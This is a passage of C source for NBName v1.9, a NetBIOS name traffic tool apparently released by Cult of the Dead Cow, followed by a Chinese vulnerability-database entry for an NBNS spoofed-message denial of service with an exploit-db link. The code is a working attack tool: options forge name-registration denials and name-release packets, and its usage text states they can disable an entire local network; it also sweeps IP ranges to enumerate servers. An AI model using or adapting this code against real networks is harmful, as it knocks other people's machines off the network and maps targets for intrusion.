			printf("Server Failure: Problem with NBNS, cannot process name");

			break;

		case RCODE_NAMERR:

			printf("Name Error: The name requested does not exist.");

			break;

		case RCODE_IMPERR:

			printf("Unsupported Request Error");

			break;

		case RCODE_RFSERR:

			printf("Refused Error.  For policy reasons server will not register this name from this host.");

			break;

		case RCODE_ACTERR:

			printf("Active Error.  Name is owned by another node.");

			break;

		case RCODE_CFTERR:

			printf("Name in Conflict Error.  A UNIQUE name is owned by more than one node.");

			break;

		default:

			printf("Unknown RCODE! 0x%04x", RCode);

			break;

		}



		puts("");

	}





	printf("OPCode: ");

	switch (OPCode)

	{

	case OPCODE_QUERY:

		printf("QUERY");

		break;

	case OPCODE_REGISTRATION:

		printf("REGISTRATION");

		break;

	case OPCODE_RELEASE:

		printf("RELEASE");

		break;

	case OPCODE_WACK:

		printf("WACK");

		break;

	case OPCODE_REFRESH:

		printf("REFRESH");

		break;

	default:

		printf("Unknown OPCODE! 0x%04x", OPCode);

		break;

	}

	puts("");



	printf("Flags: ");

	if (fResponse)

		printf("Response ");



	if (fBroadcast)

		printf("Broadcast ");



	if (fRecursionAvailable)

		printf("RecursionAvailable ");



	if (fRecursionDesired)

		printf("RecursionDesired ");



	if (fTruncated)

		printf("Truncated ");



	if (fAuthoratativeAnswer)

		printf("AuthoratativeAnswer ");



	puts("");



	// all packets I've seen have no more than 1 of any type of record

	if (QDCount > 1 || ANCount > 1 || NSCount > 1 || ARCount > 1)

	{

		puts("[Invalid record count, aborting]");

		return 0;

	}



	for (w = 0; w < QDCount; w++)

	{

		printf("Question[%d]:\n", w);



		if (packetsize - (int)((char *)ptr - buff) < sizeof(QUESTION))

		{

			puts("[Short packet, aborting]");

			return 0;

		}



		PQUESTION pquestion = (PQUESTION)ptr;



		d = NetbiosNameToString(NameBuff, pquestion->Name, (char *)ptr - buff);



		ptr += sizeof(QUESTION);



		PrintNetbiosName((BYTE *)NameBuff);

		puts("");



		switch (ntohs(pquestion->Type))

		{

		case QUESTION_TYPE_NB:

			printf("General name request");

			break;

		case QUESTION_TYPE_NBSTAT:

			printf("Netbios Stats request");

			break;

		default:

			printf("Unknown query type:0x%04x", ntohs(pquestion->Type) );

			break;

		}



		puts("");



		if (ntohs(pquestion->Class) != QUESTION_CLASS_IN )

			printf("Class != TYPE INTERNET!\n");



		if (g_Reverse && !fResponse && ntohs(pquestion->Type) == QUESTION_TYPE_NBSTAT)

		{

			BYTE outbuff[1024];

			d = FormPacket(outbuff, rand(), OPCODE_QUERY, WILDCARDNAME, QUESTION_TYPE_NBSTAT, FALSE, TRUE, FALSE, FALSE, FALSE, FALSE, 0, 1, 0, 0, 0, psockaddr->sin_addr.s_addr, 0, ONT_BNODE);



			sendto(sock, (const char *)outbuff, d, 0, (LPSOCKADDR)psockaddr, sizeof(SOCKADDR_IN) );



			printf(" **** NBSTAT QUERY packet sent to %s\n", inet_ntoa(psockaddr->sin_addr));

		}





		if (g_RespondName != NULL && !fResponse && OPCode == OPCODE_QUERY && ntohs(pquestion->Type) == QUESTION_TYPE_NB)

		{

			BYTE outbuff[1024];

			BOOL DoResponce = FALSE;



			if ( strcmp(g_RespondName, "*") == 0 || STRNICMP(NameBuff, g_RespondName, strlen(g_RespondName)) == 0)

				DoResponce = TRUE;

			else if (access(g_RespondName, 3) == 0)

			{

				FILE *InFile = fopen(g_RespondName, "rt");



				if (InFile == NULL)

					printf("Unable to open %s\n", g_RespondName);

				else

				{

					char InBuff[1024];



					while (DoResponce == FALSE && fgets(InBuff, 1024, InFile) != NULL)

					{

						char *p = strchr(InBuff, '\n');

						if (p) *p = 0;



						if (STRNICMP(NameBuff, InBuff, strlen(InBuff)) == 0)

							DoResponce = TRUE;

					}



					fclose(InFile);

				}

			}





			if (DoResponce)

			{

				d = FormPacket(outbuff, pnbnameheader->TransactionID, OPCODE_QUERY, NameBuff, QUESTION_TYPE_NB, TRUE, FALSE, FALSE, FALSE, TRUE, TRUE, 0, 0, 1, 0, 0, psockaddr->sin_addr.s_addr, 0, ONT_BNODE);



				sendto(sock, (const char *)outbuff, d, 0, (LPSOCKADDR)psockaddr, sizeof(SOCKADDR_IN) );



				printf(" **** QUERY from %s responded to for name: ", inet_ntoa(psockaddr->sin_addr));

				PrintNetbiosName((BYTE *)NameBuff);

				puts("");

			}

		}







		if (g_AllowName != NULL || g_DenyName != NULL)

		{

			if (OPCode == OPCODE_REGISTRATION && ntohs(pquestion->Type) == QUESTION_TYPE_NB)

			{

				BOOL DoDeny = FALSE;



				if (g_DenyName != NULL)

				{

					DoDeny = TRUE;

					if (strncmp(g_DenyName, "*", 1) == 0 || STRNICMP(NameBuff, g_DenyName, strlen(g_DenyName)) == 0)

						DoDeny = FALSE;

					else if (access(g_DenyName, 4) == 0)

					{

						FILE *InFile = fopen(g_DenyName, "rt");

						char namecheckbuff[1024];



						if (InFile == NULL)

						{

							printf(" **** Unable to open %s\n", g_DenyName);

							DoDeny = FALSE;

						}

						else

						{

							while (DoDeny == TRUE && fgets(namecheckbuff, 1024, InFile) != NULL)

							{

								char *p = strchr(namecheckbuff, '\n');

								if (p) *p = 0;



								if (STRNICMP(namecheckbuff, NameBuff, strlen(namecheckbuff)) == 0)

									DoDeny = FALSE;

							}



							fclose(InFile);

						}

					}





				}



				if (g_AllowName != NULL)

				{

					DoDeny = FALSE;



					if (STRNICMP(NameBuff, g_AllowName, strlen(g_AllowName)) == 0)

						DoDeny = TRUE;

					else if (access(g_AllowName, 4) == 0)

					{

						FILE *InFile = fopen(g_AllowName, "rt");

						char namecheckbuff[1024];



						if (InFile == NULL)

							printf(" **** Unable to open %s\n", g_AllowName);

						else

						{

							while (DoDeny == FALSE && fgets(namecheckbuff, 1024, InFile) != NULL)

							{

								char *p = strchr(namecheckbuff, '\n');

								if (p) *p = 0;



								if (STRNICMP(namecheckbuff, NameBuff, strlen(namecheckbuff)) == 0)

									DoDeny = TRUE;

							}



							fclose(InFile);

						}

					}

				}



				BYTE outbuff[1024];

				WORD Rcode;



				if (fRecursionDesired)

					Rcode = RCODE_CFTERR;

				else

					Rcode = RCODE_ACTERR;

					

				d = FormPacket(outbuff, pnbnameheader->TransactionID, OPCODE_REGISTRATION, NameBuff, QUESTION_TYPE_NB, TRUE, FALSE, FALSE, TRUE, TRUE, TRUE, Rcode, 0, 1, 0, 0, MAKELONG(rand(), rand()) , 0, ONT_BNODE);



				sendto(sock, (const char *)outbuff, d, 0, (LPSOCKADDR)psockaddr, sizeof(SOCKADDR_IN) );



				printf(" **** DENY packet sent\n");



			}

		}

	}



	for (w = 0; w < ANCount; w++)

	{

		printf("Answer[%d]:\n", w);



		d = ProcessResourceRecord(ptr, 1, sock, psockaddr, (char *)ptr - buff);



		if (d == 0) return 0;



		ptr+=d;

	}



	for (w = 0; w < NSCount; w++)

	{

		printf("Authority record[%d]:\n", w);



		d = ProcessResourceRecord(ptr, 2, sock, psockaddr, (char *)ptr - buff);



		if (d == 0) return 0;



		ptr+=d;

	}



	for (w = 0; w < ARCount; w++)

	{

		printf("Additional record[%d]:\n", w);



		d = ProcessResourceRecord(ptr, 3, sock, psockaddr, (char *)ptr - buff);



		if (d == 0) return 0;



		ptr+=d;

	}





	return 0;

}





#ifdef WIN32

void __cdecl ScanLoopThread(void *parg)

#else

void *ScanLoopThread(void *parg)

#endif

{

	FILE *infile = NULL;

	SOCKADDR_IN sockaddr;

	SOCKET udpsock = *((SOCKET *)parg);

	char buff[1024];

	unsigned char outbuff[1024];

	DWORD d;

	int retry;



	infile = fopen(g_ScanFile, "rt");



	if (infile == NULL)

	{

		printf(" ***** Error opening %s, scan aborted.\n", g_ScanFile);

	} else {



		d = FormPacket(outbuff, rand(), OPCODE_QUERY, WILDCARDNAME, QUESTION_TYPE_NBSTAT, FALSE, TRUE, FALSE, FALSE, FALSE, FALSE, 0, 1, 0, 0, 0, g_TargetIP, 0, ONT_BNODE);



		sockaddr.sin_family = AF_INET;

		sockaddr.sin_port = htons(NETBIOSNAMEPORT);







		while (fgets(buff, 1024, infile) != NULL)

		{

			if (strlen(buff))

			{

				char *p = strchr(buff, '\n');

				if (p) *p = 0;



				sockaddr.sin_addr.s_addr = inet_addr(buff) ;

			

				retry = 0;



				while ( retry <= g_Retries && sendto(udpsock, (const char *)outbuff, d, 0, (LPSOCKADDR)&sockaddr, sizeof(SOCKADDR_IN) ) == SOCKET_ERROR )

				{

					retry++;

					printf("Error %u sending to %s, Resending...\n", GETSOCKETERROR(), inet_ntoa(sockaddr.sin_addr) );

					SLEEP(500);

				}



				if (g_PacketDelay)

					SLEEP(g_PacketDelay);



			}

		}



		printf(" **** Scan done\n");



		fclose(infile);

	}



#ifdef WIN32

	EXITTHREAD();

#else

	return NULL;

#endif

}







#ifdef WIN32

void __cdecl SweepLoopThread(void *parg)

#else

void *SweepLoopThread(void *parg)

#endif

{

	DWORD CurrentIP = g_SweepStartIP;

	DWORD d;

	unsigned char outbuff[1024];

	SOCKADDR_IN sockaddr;

	SOCKET udpsock = *((SOCKET *)parg);

	int retry;



	d = FormPacket(outbuff, rand(), OPCODE_QUERY, WILDCARDNAME, QUESTION_TYPE_NBSTAT, FALSE, TRUE, FALSE, FALSE, FALSE, FALSE, 0, 1, 0, 0, 0, g_TargetIP, 0, ONT_BNODE);



	sockaddr.sin_family = AF_INET;

	sockaddr.sin_port = htons(NETBIOSNAMEPORT);

	

	while (htonl(CurrentIP) <= htonl(g_SweepEndIP))

	{

		sockaddr.sin_addr.s_addr = CurrentIP ;



		retry = 0;



		while ( retry <= g_Retries && sendto(udpsock, (const char *)outbuff, d, 0, (LPSOCKADDR)&sockaddr, sizeof(SOCKADDR_IN) ) == SOCKET_ERROR )

		{

			retry++;

			printf("Error %u sending to %s, Resending...\n", GETSOCKETERROR(), inet_ntoa(sockaddr.sin_addr) );

			SLEEP(500);

		}



		CurrentIP = ntohl(htonl(CurrentIP) + 1);	// increment IP



		if (g_PacketDelay)

			SLEEP(g_PacketDelay);

	} ;



	printf(" **** Sweep done\n");



	g_SweepEndIP = 0;



#ifdef WIN32

	EXITTHREAD();

#else

	return NULL;

#endif

}





DWORD DoLoop()

{

	BYTE buff[2046];

	BYTE inbuff[4096];

	SOCKADDR_IN sockaddr;

	HOSTENT *phostent;

	int x;

	BOOL b;

	DWORD d;

	unsigned char outbuff[1024];

	



	SOCKET udpsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);



	if (udpsock == INVALID_SOCKET)

	{

		printf("Error %d creating socket\n", GETSOCKETERROR() );

		return 0;

	}





	b = TRUE;

	if (setsockopt(udpsock, SOL_SOCKET, SO_REUSEADDR, (const char *)&b, sizeof(b) ) == SOCKET_ERROR)

	{

		printf("Error %d setting socket option SO_REUSEADDR\n", GETSOCKETERROR() );

		CLOSESOCKET(udpsock);

		return 0;

	}



	b = TRUE;

	if (setsockopt(udpsock, SOL_SOCKET, SO_BROADCAST, (const char *)&b, sizeof(b) ) == SOCKET_ERROR)

	{

		printf("Error %d setting socket option SO_BROADCAST\n", GETSOCKETERROR() );

		CLOSESOCKET(udpsock);

		return 0;

	}





	if (g_ReceiveTimeout)

	{

#ifdef WIN32

		if (setsockopt(udpsock, SOL_SOCKET, SO_RCVTIMEO, (const char *)&g_ReceiveTimeout, sizeof(g_ReceiveTimeout) ) == SOCKET_ERROR)

#else

		struct timeval tvstruct;

		tvstruct.tv_sec = g_ReceiveTimeout/1000;

		tvstruct.tv_usec = (g_ReceiveTimeout%1000)*1000;

		if (setsockopt(udpsock, SOL_SOCKET, SO_RCVTIMEO, (const char *)&tvstruct, sizeof(tvstruct) ) == SOCKET_ERROR)

#endif

		{

			printf("Error %d setting timeout to %d milliseconds\n", GETSOCKETERROR(), g_ReceiveTimeout );

		}

	}





	if (g_LocalIP == INADDR_NONE)

	{

		if (gethostname((char *)buff, sizeof(buff) ) == SOCKET_ERROR)

		{

			printf("Error %d getting local host name\n", GETSOCKETERROR() );

			CLOSESOCKET(udpsock);

			return 0;

		}



		phostent = gethostbyname((char *)buff);



		if (phostent == NULL)

		{

			printf("Error %d getting local address for name %s\n", GETSOCKETERROR(), buff );

			CLOSESOCKET(udpsock);

			return 0;

		}

		g_LocalIP = ((struct in_addr *) phostent->h_addr)->s_addr;

	}



	sockaddr.sin_addr.s_addr = g_LocalIP;

	sockaddr.sin_port = htons(g_LocalPort);

	sockaddr.sin_family = AF_INET;



	if (bind(udpsock, (LPSOCKADDR)&sockaddr, sizeof(sockaddr) ) == SOCKET_ERROR)

	{

		d = GETSOCKETERROR();

		printf("Error %u binding to port %d at address %s\n", d, g_LocalPort, inet_ntoa(sockaddr.sin_addr) );

		CLOSESOCKET(udpsock);

		return 0;

	} else {

		printf("Bound to port %d on address %s\n", g_LocalPort, inet_ntoa(sockaddr.sin_addr) );

	}



	sockaddr.sin_port = htons(NETBIOSNAMEPORT);



#ifdef WINSOCK2 

	INTERFACE_INFO ifaceinfo[50];



	if (WSAIoctl(udpsock, SIO_GET_INTERFACE_LIST, NULL, 0, &ifaceinfo, sizeof(ifaceinfo) * sizeof(INTERFACE_INFO), &d, NULL, NULL ) == SOCKET_ERROR )

	{

		printf("Error %u getting interface list, using INADDR_BROADCAST\n", WSAGetLastError() );

	} else {

		for (x = 0; x < (int)(d / sizeof(INTERFACE_INFO)); x++)

		{

			if (g_LocalIP == ifaceinfo[x].iiAddress.AddressIn.sin_addr.s_addr )

			{

				g_BroadcastIP = g_LocalIP | ~ifaceinfo[x].iiNetmask.AddressIn.sin_addr.s_addr;

				if (g_NetmaskIP == 0)

					g_NetmaskIP = ifaceinfo[x].iiNetmask.AddressIn.sin_addr.s_addr;

				break;

			}

		}

		if (x == (int)(d / sizeof(INTERFACE_INFO)))

		{

			printf("Unable to find interface %s, using INADDR_BROADCAST\n", inet_ntoa(sockaddr.sin_addr) );

		}

	}

#endif



	if (g_NetmaskIP == 0)

		g_NetmaskIP = MAKELONG(MAKEWORD(255, 255), MAKEWORD(255, 0) );





	{

		struct in_addr bcastadr, nmaskadr;



		bcastadr.s_addr = g_BroadcastIP;

		nmaskadr.s_addr = g_NetmaskIP;



		printf("Broadcast address: %s        ", inet_ntoa(bcastadr));

		printf("Netmask: %s\n", inet_ntoa(nmaskadr) );

	}

	



	if (g_FindAll)

	{

		sockaddr.sin_addr.s_addr = g_BroadcastIP;	

		sockaddr.sin_port = htons(NETBIOSNAMEPORT);



		d = FormPacket(outbuff, rand(), OPCODE_QUERY, WILDCARDNAME, QUESTION_TYPE_NB, FALSE, TRUE, FALSE, FALSE, FALSE, FALSE, 0, 1, 0,	0, 0, 0, 0, ONT_BNODE);



		sendto(udpsock, (const char *)outbuff, d, 0, (LPSOCKADDR)&sockaddr, sizeof(SOCKADDR_IN) );



		printf(" **** Wildcard NB QUERY packet broadcast\n");

	}





	if ((g_Astat ) && g_TargetIP != INADDR_NONE)

	{

		d = FormPacket(outbuff, rand(), OPCODE_QUERY, WILDCARDNAME, QUESTION_TYPE_NBSTAT, FALSE, TRUE, FALSE, FALSE, FALSE, FALSE, 0, 1, 0, 0, 0, g_TargetIP, 0, ONT_BNODE);



		sockaddr.sin_addr.s_addr = g_TargetIP ;

		sendto(udpsock, (const char *)outbuff, d, 0, (LPSOCKADDR)&sockaddr, sizeof(SOCKADDR_IN) );



		printf(" **** NBSTAT QUERY packet sent to %s\n", inet_ntoa(sockaddr.sin_addr));

	}



	if (htonl(g_SweepEndIP) >= htonl(g_SweepStartIP) && g_SweepStartIP != 0 && g_SweepEndIP != 0)

	{

		printf(" **** Beginning sweep...\n");



#ifdef WIN32

		CREATETHREAD(SweepLoopThread, &udpsock);

#else

		if (fork() == 0)

		{

			SweepLoopThread(&udpsock);

			exit(0);

		}

#endif

	}



	if (g_ScanFile != NULL )

	{

		if (access(g_ScanFile, 4) != 0)

		{

			printf("Unable to access %s\n", g_ScanFile);

		} else {

			printf(" **** Beginning scan of IPs in %s...\n", g_ScanFile);



#ifdef WIN32

			CREATETHREAD(ScanLoopThread, &udpsock);

#else

			if (fork() == 0)

			{

				ScanLoopThread(&udpsock);

				exit(0);

			}

#endif

		}



	}



	puts("");



	do

	{

#ifdef WIN32

		int size = sizeof(sockaddr);

#else

		socklen_t size = sizeof(sockaddr);

#endif

		x = recvfrom(udpsock, (char *)inbuff, sizeof(inbuff), 0, (LPSOCKADDR)&sockaddr, &size);

		if (x > 0)

		{

			if (!(g_NoLocal && sockaddr.sin_addr.s_addr == g_LocalIP)  && !(g_NoLocalNet && (sockaddr.sin_addr.s_addr & g_NetmaskIP) == (g_LocalIP & g_NetmaskIP)) )

			{

				time_t curtime = time(NULL);

				printf("**  Received %d bytes from %s:%d at %s", x, inet_ntoa(sockaddr.sin_addr), ntohs(sockaddr.sin_port), ctime(&curtime) );

				ProcessPacket((char *)inbuff, x, udpsock, &sockaddr);

				puts("");

			}

		}

	} while (g_SweepEndIP != 0 || x > 0);



	CLOSESOCKET(udpsock);



	return 0;

}





void Usage()

{

	puts(" Usage: NBName [/FINDALL] [/CONFLICT] [/REVERSE] [/NOLOCAL|/NOLOCALNET]");

	puts("         [/ASTAT TargetIP] [/SWEEP StartIP EndIP] [/SCAN IPList]");

	puts("         [/TO ms] [/DELAY ms] [/PORT Port] [/RETRY Trys] ");

	puts("         [/LOCALIP LocalIP] [/NETMASK Netmask] [/EXAMPLES]");

	puts("         [/ALLOW|/DENY NameOrFile] [/RESPOND NameOrFile]");

	puts("         [/OUTSERVS|/OUTALL OutFile] [/ASOUT Outfile]  [/SPAWN CmdExe \"Args\"]");

	puts("   /LOCALIP will bind to LocalIP instead of the default system IP");

	puts("   /NETMASK will use Netmask to determine local net addresses");

	puts("   /PORT will bind to Port instead of 137");

	puts("   /FINDALL causes a general name query to be broadcast and adapter status");

	puts("      (astat) request packets to be sent to all machines that respond ");

	puts("   /ASTAT will send an adapter status (astat) request to TargetIP");

	puts("   /SWEEP will send adapter status requests to all IPs from StartIP to EndIP");

	puts("   /SCAN will send adapter status requests to each IP listed in IPList");

	puts("   /DELAY will pause for ms milliseconds between each packet sent durring a");

	puts("      scan or sweep, default 100 ms (10 packets per second)");

	puts("   /REVERSE will send an astat request in response to astat requests");

	puts("   /ASOUT will output received adapter status responses' contents to Outfile");

	puts("   /OUTSERVS will output machines that respond to an adapter status request");

	puts("      and have the server service running to OutFile in the format of lmhosts");

	puts("   /OUTALL will output all machines that respond, even workstations");

	puts("   /SPAWN will spawn CmdExe with the commandline: CmdExe Args SrvrIP SrvrName");

	puts("      when an astat response is received with the server service running");

	puts("   /NOLOCAL will prevent packets from the local host from being processed");

	puts("   /NOLOCALNET will prevent packets from the local subnet from being processed");

	puts("   /TO causes NBName to exit if no packets are received for ms milliseconds");

	puts("   /RESPOND will respomd to requests for NameOrFile");

	puts("   /DENY* will cause the name(s) specified by NameOrFile to be denied if a");

	puts("      node tries to register it (them)");

	puts("   /ALLOW* will deny all names _except_ NameOrFile");

	puts("      NameOrFile can be a single name, the path to a file containing a list of");

	puts("      names or * for all names (/ALLOW * is not valid), names should be in CAPS");

	puts("   /CONFLICT* will send name release packets for each name in the remote name ");

	puts("      table of machines who respond to adapter status requests ");

	puts("   /RETRY changes the number of times failed packets are resent from 3 to Trys");

	puts("  *  These options may be damaging to network stability, use with caution!");

	puts(" Clowns are evil, legacy protocols are a problem, Las Vegas is run by gnomes");

}



void Examples()

{

	puts("  /ALLOW and /DENY will effectively keep machines from being able to join the");

	puts("	  NetBIOS network because they will always think their machine name is");

	puts("    in use");

	puts("  /CONFLICT will cause machines to stop responding to their NetBIOS names, ");

	puts("    which will become in conflict and the NetBIOS networking will stop working");

	puts("  NBNAME /FINDALL /NOBOOTY /DENY * will disable the entire local network ");

	puts("    and prevent machines from reaccessing the NetBIOS network while running");

	puts("  NBNAME /NOLOCAL /REVERSE /CONFLICT will release the names of any machine that");

	puts("    requests adapter status from your machine");

	puts("  NBNAME /SWEEP 10.10.10.1 10.10.12.255 /DELAY 3 /NOLOCALNET /OUTSERVS lmhosts");

	puts("    will sweep three class C networks with astat requests and machines ");

	puts("    that respond and have the server service running will be added to lmhosts");

}





int main(int argc, char* argv[])

{

	int x;



	puts("NBName v1.9 - Decodes and displays NetBIOS Name traffic (UDP 137), with options");

	puts(" Copyright 2000: Sir Dystic, Cult of the Dead Cow  -:|:-  New Hack City");

	puts(" Send complaints, ideas and donations to sd@cultdeadcow.com|sd@newhackcity.net\n");





	for (x = 1; x < argc; x++)

	{

		if (argv[x][0] == '/')

		{

			if (STRICMP(argv[x], "/CONFLICT") == 0)

				g_Conflict = TRUE;

			else if (STRICMP(argv[x], "/FINDALL") == 0)

				g_FindAll = TRUE;

			else if (STRICMP(argv[x], "/NOLOCAL") == 0)

				g_NoLocal = TRUE;

			else if (STRICMP(argv[x], "/REVERSE") == 0)

				g_Reverse = TRUE;

			else if (STRICMP(argv[x], "/NOLOCALNET") == 0)

				g_NoLocalNet = TRUE;

			else if (STRICMP(argv[x], "/ASTAT") == 0)

			{

				if (x > argc - 2)

				{

					printf("Missing argument for /ASTAT\n");

					Usage();

					return 0;

				}

				g_Astat = TRUE;

				x++;

				g_TargetIP = inet_addr(argv[x]);

			}

			else if (STRICMP(argv[x], "/SPAWN") == 0)

			{

				if (x > argc - 3)

				{

					printf("Missing argument for /SPAWN\n");

					Usage();

					return 0;

				}

				x++;

				g_SpawnCommand = argv[x];

				x++;

				g_SpawnArgs = argv[x];

			}

			else if (STRICMP(argv[x], "/ASOUT") == 0)

			{

				if (x > argc - 2)

				{

					printf("Missing argument for /ASOUT\n");

					Usage();

					return 0;

				}

				x++;

				g_ASOutFile = argv[x];

			}

			else if (STRICMP(argv[x], "/ALLOW") == 0)

			{

				if (x > argc - 2)

				{

					printf("Missing argument for /ALLOW\n");

					Usage();

					return 0;

				}

				x++;

				g_AllowName = argv[x];

			}

			else if (STRICMP(argv[x], "/DENY") == 0)

			{

				if (x > argc - 2)

				{

					printf("Missing argument for /DENY\n");

					Usage();

					return 0;

				}

				x++;

				g_DenyName = argv[x];

			}

			else if (STRICMP(argv[x], "/RESPOND") == 0)

			{

				if (x > argc - 2)

				{

					printf("Missing argument for /RESPOND\n");

					Usage();

					return 0;

				}

				x++;

				g_RespondName = argv[x];

			}



			else if (STRICMP(argv[x], "/SCAN") == 0)

			{

				if (x > argc - 2)

				{

					printf("Missing argument for /SCAN\n");

					Usage();

					return 0;

				}

				x++;

				g_ScanFile = argv[x];

			}

			else if (STRICMP(argv[x], "/TO") == 0)

			{

				if (x > argc - 2)

				{

					printf("Missing argument for /TO\n");

					Usage();

					return 0;

				}

				x++;

				g_ReceiveTimeout = atoi(argv[x]);

			}

			else if (STRICMP(argv[x], "/RETRY") == 0)

			{

				if (x > argc - 2)

				{

					printf("Missing argument for /RETRY\n");

					Usage();

					return 0;

				}

				x++;

				g_Retries = atoi(argv[x]);

			}

			else if (STRICMP(argv[x], "/DELAY") == 0)

			{

				if (x > argc - 2)

				{

					printf("Missing argument for /DELAY\n");

					Usage();

					return 0;

				}

				x++;

				g_PacketDelay = atoi(argv[x]);

			}

			else if (STRICMP(argv[x], "/PORT") == 0)

			{

				if (x > argc - 2)

				{

					printf("Missing argument for /PORT\n");

					Usage();

					return 0;

				}

				x++;

				g_LocalPort = atoi(argv[x]);

			}

			else if (STRICMP(argv[x], "/OUTSERVS") == 0)

			{

				if (x > argc - 2)

				{

					printf("Missing argument for /OUTSERVS\n");

					Usage();

					return 0;

				}

				x++;

				g_OutServsFile = argv[x];

			}

			else if (STRICMP(argv[x], "/OUTALL") == 0)

			{

				if (x > argc - 2)

				{

					printf("Missing argument for /OUTALL\n");

					Usage();

					return 0;

				}

				x++;

				g_OutAllFile = argv[x];

			}

			else if (STRICMP(argv[x], "/SWEEP") == 0)

			{

				if (x > argc - 3)

				{

					printf("Missing argument for /SWEEP\n");

					Usage();

					return 0;

				}

				x++;

				g_SweepStartIP = inet_addr(argv[x]);

				x++;

				g_SweepEndIP = inet_addr(argv[x]);

			}

			else if (STRICMP(argv[x], "/EXAMPLES") == 0)

				Examples();

			else if (STRICMP(argv[x], "/LOCALIP") == 0)

			{

				if (x > argc - 2)

				{

					printf("Missing argument for /LOCALIP\n");

					Usage();

					return 0;

				}

				x++;

				g_LocalIP = inet_addr(argv[x]);

			}

			else if (STRICMP(argv[x], "/NETMASK") == 0)

			{

				if (x > argc - 2)

				{

					printf("Missing argument for /NETMASK\n");

					Usage();

					return 0;

				}

				g_Astat = TRUE;

				x++;

				g_NetmaskIP = inet_addr(argv[x]);

			}

			else

			{

				printf("Bad option: \"%s\"\n", argv[x] );

				Usage();

				return 0;

			}

		}

		else

		{

			printf("Bad argument: \"%s\"\n", argv[x] );

			Usage();

			return 0;

		}

	}



#ifdef WIN32

	WSADATA wsadata;



#ifdef WINSOCK2

	WSAStartup(MAKEWORD(2,0), &wsadata);

#else

	WSAStartup(MAKEWORD(1,1), &wsadata);

#endif



	printf("WinSock v%d.%d (v%d.%d)  %s\n", LOBYTE(wsadata.wVersion), HIBYTE(wsadata.wVersion), LOBYTE(wsadata.wHighVersion), HIBYTE(wsadata.wHighVersion), wsadata.szDescription );





	if (strlen(wsadata.szSystemStatus))

		printf("WinSock status:  %s\n", wsadata.szSystemStatus);

#endif



	srand(GETRANDSEED());



	DoLoop();



#ifdef WIN32

	WSACleanup();

#endif

	return 0;

}


http://www.exploit-db.com/sploits/20106.exe

		

- 漏洞信息

381
NetBIOS Name Server (NBNS) Protocol Spoofed Message DoS
Remote / Network Access Denial of Service
Loss of Availability Patch / RCS
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

- 时间线

2000-07-27 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站